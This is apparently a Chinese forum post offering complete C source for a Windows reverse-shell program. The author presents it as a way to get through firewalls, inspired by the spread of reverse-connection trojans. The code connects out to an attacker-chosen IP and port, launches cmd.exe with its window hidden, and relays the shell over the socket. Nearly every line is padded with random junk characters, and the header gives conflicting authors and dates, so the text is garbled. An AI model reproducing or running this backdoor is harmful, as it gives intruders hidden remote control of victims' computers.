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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]`+"o[  
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/* ============================== TTjjyZ@  
Rebound port in Windows NT )}k`X<~k  
By wind,2006/7 Vt 5XC~jK  
===============================*/ m:o$|7r  
#include WW Kr & )  
#include "Mu $3 w  
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#pragma comment(lib,"wsock32.lib") jq]\oY8y  
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void OutputShell(); 4?6'~G$k  
SOCKET sClient; \}_7^)S;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L``mF(R^  
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void main(int argc,char **argv) ?_`P;}4#  
{ q.Aw!]:!  
WSADATA stWsaData; Nl>b'G96  
int nRet; 7B>cmi  
SOCKADDR_IN stSaiClient,stSaiServer; pLFL6\{g  
@;-Un/'C;7  
if(argc != 3) b+fy&rk@-  
{ >Sl:Z ,g;  
printf("Useage:\n\rRebound DestIP DestPort\n"); Sv[_BP\^h  
return; XcW3IO  
} Op)R3qt{  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5L'@WB|{4u  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5EZr"  
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stSaiClient.sin_family = AF_INET; pPqbD}p  
stSaiClient.sin_port = htons(0); hB1iSm  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5nlyb,"^g  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AZm)$@e)  
{ oA^ ]x>  
printf("Bind Socket Failed!\n"); JL+[1=uE1L  
return; )eVDp,.^  
} "g&l~N1$  
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stSaiServer.sin_family = AF_INET; /VOST^z!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RAJ |#I1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Kwmo)|7uPU  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '48|f`8$  
{ eh# (}v  
printf("Connect Error!"); -cC(d$y  
return; olW`.3f  
} _p^ "!  
OutputShell(); w\[*_wQp  
} sJ*U Fm{  
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void OutputShell() LGue=Hkp  
{ g{.@|;d <p  
char szBuff[1024]; <\Dl#DH  
SECURITY_ATTRIBUTES stSecurityAttributes; 8c' -eT"  
OSVERSIONINFO stOsversionInfo; U\plt%2m>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s.Ic3ITd,  
STARTUPINFO stStartupInfo; 15yV4wHr  
char *szShell; F973U  
PROCESS_INFORMATION stProcessInformation; <qZ+U4@I)  
unsigned long lBytesRead; "U~@o4u;  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c35vjYQx0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >Qu^{o  
stSecurityAttributes.lpSecurityDescriptor = 0; R-0Ohj  
stSecurityAttributes.bInheritHandle = TRUE; J;9QDrl`  
`9NnL.w!  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GOgT(.5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]t0S_ UH$  
J:!Gf^/)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); JqIv&W  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ya {1/AaM  
stStartupInfo.wShowWindow = SW_HIDE; L{ ^@O0S  
stStartupInfo.hStdInput = hReadPipe; }Bg<Fm  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; icbYfgQ  
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GetVersionEx(&stOsversionInfo); $CV'p/^En  
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switch(stOsversionInfo.dwPlatformId) HBYpjxh  
{ ho=]'MS|  
case 1: FK('E3PG  
szShell = "command.com"; tA n6pGp  
break; AMiFsgBj  
default: QxL FN(d  
szShell = "cmd.exe"; =C}<0<"iF  
break; lBC-G*#  
} zIm!8a  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ZX}"  
)4C6+63OD&  
send(sClient,szMsg,77,0); - C]a2  
while(1) ~#Mx&mZ  
{ U~c;W@T  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xL"o)]a=  
if(lBytesRead) Q2PwO;E.`C  
{ S}I=i>QB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hS/'b$#  
send(sClient,szBuff,lBytesRead,0); !~kzxY  
} $S("- 3  
else =f|a?j,f~  
{ <;"=ah7A  
lBytesRead=recv(sClient,szBuff,1024,0); cC]1D*Bn  
if(lBytesRead<=0) break; LxDhthZi_  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a VMFjkW  
} |}Lgo"cTC  
} &1Iy9&y  
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return; p-Btbhv  
}
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